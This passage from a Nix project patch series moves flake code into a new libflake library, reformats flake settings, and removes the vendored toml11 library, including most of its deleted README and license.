a/src/libexpr/flake/lockfile.hh b/src/libflake/flake/lockfile.hh similarity index 100% rename from src/libexpr/flake/lockfile.hh rename to src/libflake/flake/lockfile.hh diff --git a/src/libexpr/flake/url-name.cc b/src/libflake/flake/url-name.cc similarity index 100% rename from src/libexpr/flake/url-name.cc rename to src/libflake/flake/url-name.cc diff --git a/src/libexpr/flake/url-name.hh b/src/libflake/flake/url-name.hh similarity index 100% rename from src/libexpr/flake/url-name.hh rename to src/libflake/flake/url-name.hh diff --git a/src/libflake/local.mk b/src/libflake/local.mk new file mode 100644 index 000000000..2cceda2bf --- /dev/null +++ b/src/libflake/local.mk @@ -0,0 +1,17 @@ +libraries += libflake + +libflake_NAME = libnixflake + +libflake_DIR := $(d) + +libflake_SOURCES := $(wildcard $(d)/*.cc $(d)/flake/*.cc) + +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libflake := -I $(d) + +libflake_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake) + +libflake_LDFLAGS += $(THREAD_LDFLAGS) + +libflake_LIBS = libutil libstore libfetchers libexpr diff --git a/src/nix/local.mk b/src/nix/local.mk index 9883509fb..4b6117330 100644 --- a/src/nix/local.mk +++ b/src/nix/local.mk @@ -24,9 +24,9 @@ ifdef HOST_UNIX INCLUDE_nix += -I $(d)/unix endif -nix_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libmain) -I src/libcmd -I doc/manual $(INCLUDE_nix) +nix_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake) $(INCLUDE_libmain) -I src/libcmd -I doc/manual $(INCLUDE_nix) -nix_LIBS = libexpr libmain libfetchers libstore libutil libcmd +nix_LIBS = libexpr libmain libfetchers libflake libstore libutil libcmd nix_LDFLAGS = $(THREAD_LDFLAGS) $(SODIUM_LIBS) $(EDITLINE_LIBS) $(BOOST_LDFLAGS) $(LOWDOWN_LIBS) diff --git a/tests/unit/libexpr/flake/flakeref.cc b/tests/unit/libflake/flakeref.cc similarity index 100% rename from tests/unit/libexpr/flake/flakeref.cc rename to tests/unit/libflake/flakeref.cc diff --git a/tests/unit/libflake/local.mk b/tests/unit/libflake/local.mk new file mode 100644 index 000000000..590bcf7c0 --- /dev/null +++ b/tests/unit/libflake/local.mk @@ -0,0 +1,43 @@ +check: libflake-tests_RUN + +programs += libflake-tests + +libflake-tests_NAME := libnixflake-tests + +libflake-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libflake-tests.xml + +libflake-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libflake-tests_INSTALL_DIR := $(checkbindir) +else + libflake-tests_INSTALL_DIR := +endif + +libflake-tests_SOURCES := \ + $(wildcard $(d)/*.cc) \ + $(wildcard $(d)/value/*.cc) \ + $(wildcard $(d)/flake/*.cc) + +libflake-tests_EXTRA_INCLUDES = \ + -I tests/unit/libflake-support \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libflake) \ + $(INCLUDE_libexpr) \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libutil) \ + +libflake-tests_CXXFLAGS += $(libflake-tests_EXTRA_INCLUDES) + +libflake-tests_LIBS = \ + libexpr-test-support libstore-test-support libutil-test-support \ + libflake libexpr libfetchers libstore libutil + +libflake-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libflake-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libexpr/flake/url-name.cc b/tests/unit/libflake/url-name.cc similarity index 100% rename from tests/unit/libexpr/flake/url-name.cc rename to tests/unit/libflake/url-name.cc From 7181d1f4a1100d223b99c372f97a40b952428916 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 24 Jun 2024 13:42:19 -0400 Subject: [PATCH 0913/1251] Reformat Factored out code is now elegible for formatting. --- src/libflake/flake-settings.cc | 4 +--- src/libflake/flake-settings.hh | 26 ++++++++++++++++++++------ 2 files changed, 21 insertions(+), 9 deletions(-) diff --git a/src/libflake/flake-settings.cc b/src/libflake/flake-settings.cc index 77e35bc7b..ba97e0ce7 100644 --- a/src/libflake/flake-settings.cc +++ b/src/libflake/flake-settings.cc @@ -3,9 +3,7 @@ namespace nix { -FlakeSettings::FlakeSettings() -{ -} +FlakeSettings::FlakeSettings() {} FlakeSettings flakeSettings; diff --git a/src/libflake/flake-settings.hh b/src/libflake/flake-settings.hh index ae88dfd9c..1087c0eba 100644 --- a/src/libflake/flake-settings.hh +++ b/src/libflake/flake-settings.hh @@ -16,21 +16,35 @@ struct FlakeSettings : public Config { FlakeSettings(); - Setting useRegistries{this, true, "use-registries", + Setting useRegistries{ + this, + true, + "use-registries", "Whether to use flake registries to resolve flake references.", - {}, true, Xp::Flakes}; + {}, + true, + Xp::Flakes}; - Setting acceptFlakeConfig{this, false, "accept-flake-config", + Setting acceptFlakeConfig{ + this, + false, + "accept-flake-config", "Whether to accept nix configuration from a flake without prompting.", - {}, true, Xp::Flakes}; + {}, + true, + Xp::Flakes}; Setting commitLockFileSummary{ - this, "", "commit-lockfile-summary", + this, + "", + "commit-lockfile-summary", R"( The commit summary to use when committing changed flake lock files. If empty, the summary is generated based on the action performed. )", - {}, true, Xp::Flakes}; + {}, + true, + Xp::Flakes}; }; // TODO: don't use a global variable. From f002f85861e9b3ed89554b03684be566858e7b12 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 26 Jun 2024 22:26:45 -0400 Subject: [PATCH 0914/1251] Avoid libmain header in libexpr We just don't need it! --- src/libexpr/eval.cc | 2 +- src/libexpr/local.mk | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index e2ae493cf..d2be00e55 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -3,7 +3,7 @@ #include "hash.hh" #include "primops.hh" #include "print-options.hh" -#include "shared.hh" +#include "exit.hh" #include "types.hh" #include "util.hh" #include "store-api.hh" diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk index 95ce4de63..d35101a7c 100644 --- a/src/libexpr/local.mk +++ b/src/libexpr/local.mk @@ -15,7 +15,7 @@ libexpr_SOURCES := \ INCLUDE_libexpr := -I $(d) libexpr_CXXFLAGS += \ - $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libmain) $(INCLUDE_libexpr) \ + $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) \ -DGC_THREADS libexpr_LIBS = libutil libstore libfetchers From 149d8eb8aa3bfdc4abebabaa97323dd4e1dd8db5 Mon Sep 17 00:00:00 2001 From: Winter Date: Tue, 26 Mar 2024 22:36:17 -0400 Subject: [PATCH 0915/1251] Stop vendoring toml11 We don't apply any patches to it, and vendoring it locks users into bugs (it hasn't been updated since its introduction in late 2021). Closes https://git.lix.systems/lix-project/lix/issues/164 Change-Id: Ied071c841fc30b0dfb575151afd1e7f66970fdb9 (cherry picked from commit 80405d06264f0de1c16ee2646388ab501df20628) --- .gitignore | 3 + configure.ac | 5 + doc/manual/rl-next/drop-vendored-toml11.md | 6 + maintainers/flake-module.nix | 1 - package.nix | 2 + src/libexpr/local.mk | 2 - src/libexpr/primops/fromTOML.cc | 3 +- src/toml11/LICENSE | 21 - src/toml11/README.md | 1966 ---------------- src/toml11/toml.hpp | 46 - src/toml11/toml/color.hpp | 64 - src/toml11/toml/combinator.hpp | 306 --- src/toml11/toml/comments.hpp | 472 ---- src/toml11/toml/datetime.hpp | 631 ------ src/toml11/toml/exception.hpp | 65 - src/toml11/toml/from.hpp | 19 - src/toml11/toml/get.hpp | 1117 --------- src/toml11/toml/into.hpp | 19 - src/toml11/toml/lexer.hpp | 293 --- src/toml11/toml/literal.hpp | 113 - src/toml11/toml/macros.hpp | 121 - src/toml11/toml/parser.hpp | 2364 -------------------- src/toml11/toml/region.hpp | 417 ---- src/toml11/toml/result.hpp | 717 ------ src/toml11/toml/serializer.hpp | 922 -------- src/toml11/toml/source_location.hpp | 233 -- src/toml11/toml/storage.hpp | 43 - src/toml11/toml/string.hpp | 225 -- src/toml11/toml/traits.hpp | 327 --- src/toml11/toml/types.hpp | 173 -- src/toml11/toml/utility.hpp | 149 -- src/toml11/toml/value.hpp | 2035 ----------------- 32 files changed, 17 insertions(+), 12863 deletions(-) create mode 100644 doc/manual/rl-next/drop-vendored-toml11.md delete mode 100644 src/toml11/LICENSE delete mode 100644 src/toml11/README.md delete mode 100644 src/toml11/toml.hpp delete mode 100644 src/toml11/toml/color.hpp delete mode 100644 src/toml11/toml/combinator.hpp delete mode 100644 src/toml11/toml/comments.hpp delete mode 100644 src/toml11/toml/datetime.hpp delete mode 100644 src/toml11/toml/exception.hpp delete mode 100644 src/toml11/toml/from.hpp delete mode 100644 src/toml11/toml/get.hpp delete mode 100644 src/toml11/toml/into.hpp delete mode 100644 src/toml11/toml/lexer.hpp delete mode 100644 src/toml11/toml/literal.hpp delete mode 100644 src/toml11/toml/macros.hpp delete mode 100644 src/toml11/toml/parser.hpp delete mode 100644 src/toml11/toml/region.hpp delete mode 100644 src/toml11/toml/result.hpp delete mode 100644 src/toml11/toml/serializer.hpp delete mode 100644 src/toml11/toml/source_location.hpp delete mode 100644 src/toml11/toml/storage.hpp delete mode 100644 src/toml11/toml/string.hpp delete mode 100644 src/toml11/toml/traits.hpp delete mode 100644 src/toml11/toml/types.hpp delete mode 100644 src/toml11/toml/utility.hpp delete mode 100644 src/toml11/toml/value.hpp diff --git a/.gitignore b/.gitignore index 1bf540ba2..a17b627f4 100644 --- a/.gitignore +++ b/.gitignore @@ -54,6 +54,9 @@ perl/Makefile.config # /src/libfetchers /tests/unit/libfetchers/libnixfetchers-tests +# /src/libflake +/tests/unit/libflake/libnixflake-tests + # /src/libstore/ *.gen.* /src/libstore/tests diff --git a/configure.ac b/configure.ac index 2b5cd115f..4f66a3efc 100644 --- a/configure.ac +++ b/configure.ac @@ -400,6 +400,11 @@ AS_CASE(["$enable_markdown"], PKG_CHECK_MODULES([LIBGIT2], [libgit2]) +# Look for toml11, a required dependency. +AC_LANG_PUSH(C++) +AC_CHECK_HEADER([toml.hpp], [], [AC_MSG_ERROR([toml11 is not found.])]) +AC_LANG_POP(C++) + # Setuid installations. AC_CHECK_FUNCS([setresuid setreuid lchown]) diff --git a/doc/manual/rl-next/drop-vendored-toml11.md b/doc/manual/rl-next/drop-vendored-toml11.md new file mode 100644 index 000000000..d1feeb703 --- /dev/null +++ b/doc/manual/rl-next/drop-vendored-toml11.md @@ -0,0 +1,6 @@ +--- +synopsis: Stop vendoring toml11 +--- + +We don't apply any patches to it, and vendoring it locks users into +bugs (it hasn't been updated since its introduction in late 2021). diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index cc7241d21..8f95e788b 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -18,7 +18,6 @@ ''^tests/unit/[^/]*/data/.*$'' # Don't format vendored code - ''^src/toml11/.*'' ''^doc/manual/redirects\.js$'' ''^doc/manual/theme/highlight\.js$'' diff --git a/package.nix b/package.nix index 9a6fc272a..126af6add 100644 --- a/package.nix +++ b/package.nix @@ -32,6 +32,7 @@ , pkg-config , rapidcheck , sqlite +, toml11 , util-linux , xz @@ -225,6 +226,7 @@ in { libsodium openssl sqlite + toml11 xz ({ inherit readline editline; }.${readlineFlavor}) ] ++ lib.optionals enableMarkdown [ diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk index d35101a7c..26958bf2c 100644 --- a/src/libexpr/local.mk +++ b/src/libexpr/local.mk @@ -48,5 +48,3 @@ $(foreach i, $(wildcard src/libexpr/value/*.hh), \ $(d)/primops.cc: $(d)/imported-drv-to-derivation.nix.gen.hh $(d)/eval.cc: $(d)/primops/derivation.nix.gen.hh $(d)/fetchurl.nix.gen.hh $(d)/flake/call-flake.nix.gen.hh - -$(buildprefix)src/libexpr/primops/fromTOML.o: ERROR_SWITCH_ENUM = diff --git a/src/libexpr/primops/fromTOML.cc b/src/libexpr/primops/fromTOML.cc index 9bee8ca38..6c7d303e8 100644 --- a/src/libexpr/primops/fromTOML.cc +++ b/src/libexpr/primops/fromTOML.cc @@ -1,9 +1,8 @@ #include "primops.hh" #include "eval-inline.hh" -#include "../../toml11/toml.hpp" - #include +#include namespace nix { diff --git a/src/toml11/LICENSE b/src/toml11/LICENSE deleted file mode 100644 index f55c511d6..000000000 --- a/src/toml11/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2017 Toru Niina - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/src/toml11/README.md b/src/toml11/README.md deleted file mode 100644 index 62b586305..000000000 --- a/src/toml11/README.md +++ /dev/null @@ -1,1966 +0,0 @@ -toml11 -====== - -[![Build Status on GitHub Actions](https://github.com/ToruNiina/toml11/workflows/build/badge.svg)](https://github.com/ToruNiina/toml11/actions) -[![Build Status on TravisCI](https://travis-ci.org/ToruNiina/toml11.svg?branch=master)](https://travis-ci.org/ToruNiina/toml11) -[![Build status on Appveyor](https://ci.appveyor.com/api/projects/status/m2n08a926asvg5mg/branch/master?svg=true)](https://ci.appveyor.com/project/ToruNiina/toml11/branch/master) -[![Build status on CircleCI](https://circleci.com/gh/ToruNiina/toml11/tree/master.svg?style=svg)](https://circleci.com/gh/ToruNiina/toml11/tree/master) -[![Version](https://img.shields.io/github/release/ToruNiina/toml11.svg?style=flat)](https://github.com/ToruNiina/toml11/releases) -[![License](https://img.shields.io/github/license/ToruNiina/toml11.svg?style=flat)](LICENSE) -[![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.1209136.svg)](https://doi.org/10.5281/zenodo.1209136) - -toml11 is a C++11 (or later) header-only toml parser/encoder depending only on C++ standard library. - -- It is compatible to the latest version of [TOML v1.0.0](https://toml.io/en/v1.0.0). -- It is one of the most TOML standard compliant libraries, tested with [the language agnostic test suite for TOML parsers by BurntSushi](https://github.com/BurntSushi/toml-test). -- It shows highly informative error messages. You can see the error messages about invalid files at [CircleCI](https://circleci.com/gh/ToruNiina/toml11). -- It has configurable container. You can use any random-access containers and key-value maps as backend containers. -- It optionally preserves comments without any overhead. -- It has configurable serializer that supports comments, inline tables, literal strings and multiline strings. -- It supports user-defined type conversion from/into toml values. -- It correctly handles UTF-8 sequences, with or without BOM, both on posix and Windows. - -## Example - -```cpp -#include -#include - -int main() -{ - // ```toml - // title = "an example toml file" - // nums = [3, 1, 4, 1, 5] - // ``` - auto data = toml::parse("example.toml"); - - // find a value with the specified type from a table - std::string title = toml::find(data, "title"); - - // convert the whole array into any container automatically - std::vector nums = toml::find>(data, "nums"); - - // access with STL-like manner - if(!data.contains("foo")) - { - data["foo"] = "bar"; - } - - // pass a fallback - std::string name = toml::find_or(data, "name", "not found"); - - // width-dependent formatting - std::cout << std::setw(80) << data << std::endl; - - return 0; -} -``` - -## Table of Contents - -- [Integration](#integration) -- [Decoding a toml file](#decoding-a-toml-file) - - [In the case of syntax error](#in-the-case-of-syntax-error) - - [Invalid UTF-8 Codepoints](#invalid-utf-8-codepoints) -- [Finding a toml value](#finding-a-toml-value) - - [Finding a value in a table](#finding-a-value-in-a-table) - - [In case of error](#in-case-of-error) - - [Dotted keys](#dotted-keys) -- [Casting a toml value](#casting-a-toml-value) -- [Checking value type](#checking-value-type) -- [More about conversion](#more-about-conversion) - - [Converting an array](#converting-an-array) - - [Converting a table](#converting-a-table) - - [Getting an array of tables](#getting-an-array-of-tables) - - [Cost of conversion](#cost-of-conversion) - - [Converting datetime and its variants](#converting-datetime-and-its-variants) -- [Getting with a fallback](#getting-with-a-fallback) -- [Expecting conversion](#expecting-conversion) -- [Visiting a toml::value](#visiting-a-tomlvalue) -- [Constructing a toml::value](#constructing-a-tomlvalue) -- [Preserving Comments](#preserving-comments) -- [Customizing containers](#customizing-containers) -- [TOML literal](#toml-literal) -- [Conversion between toml value and arbitrary types](#conversion-between-toml-value-and-arbitrary-types) -- [Formatting user-defined error messages](#formatting-user-defined-error-messages) -- [Obtaining location information](#obtaining-location-information) -- [Exceptions](#exceptions) -- [Colorize Error Messages](#colorize-error-messages) -- [Serializing TOML data](#serializing-toml-data) -- [Underlying types](#underlying-types) -- [Unreleased TOML features](#unreleased-toml-features) -- [Breaking Changes from v2](#breaking-changes-from-v2) -- [Running Tests](#running-tests) -- [Contributors](#contributors) -- [Licensing Terms](#licensing-terms) - -## Integration - -Just include the file after adding it to the include path. - -```cpp -#include // that's all! now you can use it. -#include - -int main() -{ - const auto data = toml::parse("example.toml"); - const auto title = toml::find(data, "title"); - std::cout << "the title is " << title << std::endl; - return 0; -} -``` - -The convenient way is to add this repository as a git-submodule or to install -it in your system by CMake. - -Note for MSVC: We recommend to set `/Zc:__cplusplus` to detect C++ version correctly. - -## Decoding a toml file - -To parse a toml file, the only thing you have to do is -to pass a filename to the `toml::parse` function. - -```cpp -const std::string fname("sample.toml"); -const toml::value data = toml::parse(fname); -``` - -As required by the TOML specification, the top-level value is always a table. -You can find a value inside it, cast it into a table explicitly, and insert it as a value into other `toml::value`. - -If it encounters an error while opening a file, it will throw `std::runtime_error`. - -You can also pass a `std::istream` to the `toml::parse` function. -To show a filename in an error message, however, it is recommended to pass the -filename with the stream. - -```cpp -std::ifstream ifs("sample.toml", std::ios_base::binary); -assert(ifs.good()); -const auto data = toml::parse(ifs, /*optional -> */ "sample.toml"); -``` - -**Note**: When you are **on Windows, open a file in binary mode**. -If a file is opened in text-mode, CRLF ("\r\n") will automatically be -converted to LF ("\n") and this causes inconsistency between file size -and the contents that would be read. This causes weird error. - -### In the case of syntax error - -If there is a syntax error in a toml file, `toml::parse` will throw -`toml::syntax_error` that inherits `std::exception`. - -toml11 has clean and informative error messages inspired by Rust and -it looks like the following. - -```console -terminate called after throwing an instance of 'toml::syntax_error' - what(): [error] toml::parse_table: invalid line format # error description - --> example.toml # file name - 3 | a = 42 = true # line num and content - | ^------ expected newline, but got '='. # error reason -``` - -If you (mistakenly) duplicate tables and got an error, it is helpful to see -where they are. toml11 shows both at the same time like the following. - -```console -terminate called after throwing an instance of 'toml::syntax_error' - what(): [error] toml::insert_value: table ("table") already exists. - --> duplicate-table.toml - 1 | [table] - | ~~~~~~~ table already exists here - ... - 3 | [table] - | ~~~~~~~ table defined twice -``` - -When toml11 encounters a malformed value, it tries to detect what type it is. -Then it shows hints to fix the format. An error message while reading one of -the malformed files in [the language agnostic test suite](https://github.com/BurntSushi/toml-test). -is shown below. - -```console -what(): [error] bad time: should be HH:MM:SS.subsec - --> ./datetime-malformed-no-secs.toml - 1 | no-secs = 1987-07-05T17:45Z - | ^------- HH:MM:SS.subsec - | -Hint: pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999 -Hint: fail: 1979-05-27T7:32:00, 1979-05-27 17:32 -``` - -You can find other examples in a job named `output_result` on -[CircleCI](https://circleci.com/gh/ToruNiina/toml11). - -Since the error message generation is generally a difficult task, the current -status is not ideal. If you encounter a weird error message, please let us know -and contribute to improve the quality! - -### Invalid UTF-8 codepoints - -It throws `syntax_error` if a value of an escape sequence -representing unicode character is not a valid UTF-8 codepoint. - -```console - what(): [error] toml::read_utf8_codepoint: input codepoint is too large. - --> utf8.toml - 1 | exceeds_unicode = "\U0011FFFF example" - | ^--------- should be in [0x00..0x10FFFF] -``` - -## Finding a toml value - -After parsing successfully, you can obtain the values from the result of -`toml::parse` using `toml::find` function. - -```toml -# sample.toml -answer = 42 -pi = 3.14 -numbers = [1,2,3] -time = 1979-05-27T07:32:00Z -``` - -``` cpp -const auto data = toml::parse("sample.toml"); -const auto answer = toml::find(data, "answer"); -const auto pi = toml::find(data, "pi"); -const auto numbers = toml::find>(data, "numbers"); -const auto timepoint = toml::find(data, "time"); -``` - -By default, `toml::find` returns a `toml::value`. - -```cpp -const toml::value& answer = toml::find(data, "answer"); -``` - -When you pass an exact TOML type that does not require type conversion, -`toml::find` returns a reference without copying the value. - -```cpp -const auto data = toml::parse("sample.toml"); -const auto& answer = toml::find(data, "answer"); -``` - -If the specified type requires conversion, you can't take a reference to the value. -See also [underlying types](#underlying-types). - -**NOTE**: For some technical reason, automatic conversion between `integer` and -`floating` is not supported. If you want to get a floating value even if a value -has integer value, you need to convert it manually after obtaining a value, -like the following. - -```cpp -const auto vx = toml::find(data, "x"); -double x = vx.is_floating() ? vx.as_floating(std::nothrow) : - static_cast(vx.as_integer()); // it throws if vx is neither - // floating nor integer. -``` - -### Finding a value in a table - -There are several way to get a value defined in a table. -First, you can get a table as a normal value and find a value from the table. - -```toml -[fruit] -name = "apple" -[fruit.physical] -color = "red" -shape = "round" -``` - -``` cpp -const auto data = toml::parse("fruit.toml"); -const auto& fruit = toml::find(data, "fruit"); -const auto name = toml::find(fruit, "name"); - -const auto& physical = toml::find(fruit, "physical"); -const auto color = toml::find(physical, "color"); -const auto shape = toml::find(physical, "shape"); -``` - -Here, variable `fruit` is a `toml::value` and can be used as the first argument -of `toml::find`. - -Second, you can pass as many arguments as the number of subtables to `toml::find`. - -```cpp -const auto data = toml::parse("fruit.toml"); -const auto color = toml::find(data, "fruit", "physical", "color"); -const auto shape = toml::find(data, "fruit", "physical", "shape"); -``` - -### Finding a value in an array - -You can find n-th value in an array by `toml::find`. - -```toml -values = ["foo", "bar", "baz"] -``` - -``` cpp -const auto data = toml::parse("sample.toml"); -const auto values = toml::find(data, "values"); -const auto bar = toml::find(values, 1); -``` - -`toml::find` can also search array recursively. - -```cpp -const auto data = toml::parse("fruit.toml"); -const auto bar = toml::find(data, "values", 1); -``` - -Before calling `toml::find`, you can check if a value corresponding to a key -exists. You can use both `bool toml::value::contains(const key&) const` and -`std::size_t toml::value::count(const key&) const`. Those behaves like the -`std::map::contains` and `std::map::count`. - -```cpp -const auto data = toml::parse("fruit.toml"); -if(data.contains("fruit") && data.at("fruit").count("physical") != 0) -{ - // ... -} -``` - -### In case of error - -If the value does not exist, `toml::find` throws `std::out_of_range` with the -location of the table. - -```console -terminate called after throwing an instance of 'std::out_of_range' - what(): [error] key "answer" not found - --> example.toml - 6 | [tab] - | ~~~~~ in this table -``` - ----- - -If the specified type differs from the actual value contained, it throws -`toml::type_error` that inherits `std::exception`. - -Similar to the case of syntax error, toml11 also displays clean error messages. -The error message when you choose `int` to get `string` value would be like this. - -```console -terminate called after throwing an instance of 'toml::type_error' - what(): [error] toml::value bad_cast to integer - --> example.toml - 3 | title = "TOML Example" - | ~~~~~~~~~~~~~~ the actual type is string -``` - -**NOTE**: In order to show this kind of error message, all the toml values have -a pointer to represent its range in a file. The entire contents of a file is -shared by `toml::value`s and remains on the heap memory. It is recommended to -destruct all the `toml::value` classes after configuring your application -if you have a large TOML file compared to the memory resource. - -### Dotted keys - -TOML v0.5.0 has a new feature named "dotted keys". -You can chain keys to represent the structure of the data. - -```toml -physical.color = "orange" -physical.shape = "round" -``` - -This is equivalent to the following. - -```toml -[physical] -color = "orange" -shape = "round" -``` - -You can get both of the above tables with the same c++ code. - -```cpp -const auto physical = toml::find(data, "physical"); -const auto color = toml::find(physical, "color"); -``` - -The following code does not work for the above toml file. - -```cpp -// XXX this does not work! -const auto color = toml::find(data, "physical.color"); -``` - -The above code works with the following toml file. - -```toml -"physical.color" = "orange" -# equivalent to {"physical.color": "orange"}, -# NOT {"physical": {"color": "orange"}}. -``` - - -## Casting a toml value - -### `toml::get` - -`toml::parse` returns `toml::value`. `toml::value` is a union type that can -contain one of the following types. - -- `toml::boolean` (`bool`) -- `toml::integer` (`std::int64_t`) -- `toml::floating` (`double`) -- `toml::string` (a type convertible to std::string) -- `toml::local_date` -- `toml::local_time` -- `toml::local_datetime` -- `toml::offset_datetime` -- `toml::array` (by default, `std::vector`) - - It depends. See [customizing containers](#customizing-containers) for detail. -- `toml::table` (by default, `std::unordered_map`) - - It depends. See [customizing containers](#customizing-containers) for detail. - -To get a value inside, you can use `toml::get()`. The usage is the same as -`toml::find` (actually, `toml::find` internally uses `toml::get` after casting -a value to `toml::table`). - -``` cpp -const toml::value data = toml::parse("sample.toml"); -const toml::value answer_ = toml::get(data).at("answer"); -const std::int64_t answer = toml::get(answer_); -``` - -When you pass an exact TOML type that does not require type conversion, -`toml::get` returns a reference through which you can modify the content -(if the `toml::value` is `const`, it returns `const` reference). - -```cpp -toml::value data = toml::parse("sample.toml"); -toml::value answer_ = toml::get(data).at("answer"); -toml::integer& answer = toml::get(answer_); -answer = 6 * 9; // write to data.answer. now `answer_` contains 54. -``` - -If the specified type requires conversion, you can't take a reference to the value. -See also [underlying types](#underlying-types). - -It also throws a `toml::type_error` if the type differs. - -### `as_xxx` - -You can also use a member function to cast a value. - -```cpp -const std::int64_t answer = data.as_table().at("answer").as_integer(); -``` - -It also throws a `toml::type_error` if the type differs. If you are sure that -the value `v` contains a value of the specified type, you can suppress checking -by passing `std::nothrow`. - -```cpp -const auto& answer = data.as_table().at("answer"); -if(answer.is_integer() && answer.as_integer(std::nothrow) == 42) -{ - std::cout << "value is 42" << std::endl; -} -``` - -If `std::nothrow` is passed, the functions are marked as noexcept. - -By casting a `toml::value` into an array or a table, you can iterate over the -elements. - -```cpp -const auto data = toml::parse("example.toml"); -std::cout << "keys in the top-level table are the following: \n"; -for(const auto& [k, v] : data.as_table()) -{ - std::cout << k << '\n'; -} - -const auto& fruits = toml::find(data, "fruits"); -for(const auto& v : fruits.as_array()) -{ - std::cout << toml::find(v, "name") << '\n'; -} -``` - -The full list of the functions is below. - -```cpp -namespace toml { -class value { - // ... - const boolean& as_boolean() const&; - const integer& as_integer() const&; - const floating& as_floating() const&; - const string& as_string() const&; - const offset_datetime& as_offset_datetime() const&; - const local_datetime& as_local_datetime() const&; - const local_date& as_local_date() const&; - const local_time& as_local_time() const&; - const array& as_array() const&; - const table& as_table() const&; - // -------------------------------------------------------- - // non-const version - boolean& as_boolean() &; - // ditto... - // -------------------------------------------------------- - // rvalue version - boolean&& as_boolean() &&; - // ditto... - - // -------------------------------------------------------- - // noexcept versions ... - const boolean& as_boolean(const std::nothrow_t&) const& noexcept; - boolean& as_boolean(const std::nothrow_t&) & noexcept; - boolean&& as_boolean(const std::nothrow_t&) && noexcept; - // ditto... -}; -} // toml -``` - -### `at()` - -You can access to the element of a table and an array by `toml::basic_value::at`. - -```cpp -const toml::value v{1,2,3,4,5}; -std::cout << v.at(2).as_integer() << std::endl; // 3 - -const toml::value v{{"foo", 42}, {"bar", 3.14}}; -std::cout << v.at("foo").as_integer() << std::endl; // 42 -``` - -If an invalid key (integer for a table, string for an array), it throws -`toml::type_error` for the conversion. If the provided key is out-of-range, -it throws `std::out_of_range`. - -Note that, although `std::string` has `at()` member function, `toml::value::at` -throws if the contained type is a string. Because `std::string` does not -contain `toml::value`. - -### `operator[]` - -You can also access to the element of a table and an array by -`toml::basic_value::operator[]`. - -```cpp -const toml::value v{1,2,3,4,5}; -std::cout << v[2].as_integer() << std::endl; // 3 - -const toml::value v{{"foo", 42}, {"bar", 3.14}}; -std::cout << v["foo"].as_integer() << std::endl; // 42 -``` - -When you access to a `toml::value` that is not initialized yet via -`operator[](const std::string&)`, the `toml::value` will be a table, -just like the `std::map`. - -```cpp -toml::value v; // not initialized as a table. -v["foo"] = 42; // OK. `v` will be a table. -``` - -Contrary, if you access to a `toml::value` that contains an array via `operator[]`, -it does not check anything. It converts `toml::value` without type check and then -access to the n-th element without boundary check, just like the `std::vector::operator[]`. - -```cpp -toml::value v; // not initialized as an array -v[2] = 42; // error! UB -``` - -Please make sure that the `toml::value` has an array inside when you access to -its element via `operator[]`. - -## Checking value type - -You can check the type of a value by `is_xxx` function. - -```cpp -const toml::value v = /* ... */; -if(v.is_integer()) -{ - std::cout << "value is an integer" << std::endl; -} -``` - -The complete list of the functions is below. - -```cpp -namespace toml { -class value { - // ... - bool is_boolean() const noexcept; - bool is_integer() const noexcept; - bool is_floating() const noexcept; - bool is_string() const noexcept; - bool is_offset_datetime() const noexcept; - bool is_local_datetime() const noexcept; - bool is_local_date() const noexcept; - bool is_local_time() const noexcept; - bool is_array() const noexcept; - bool is_table() const noexcept; - bool is_uninitialized() const noexcept; - // ... -}; -} // toml -``` - -Also, you can get `enum class value_t` from `toml::value::type()`. - -```cpp -switch(data.at("something").type()) -{ - case toml::value_t::integer: /*do some stuff*/ ; break; - case 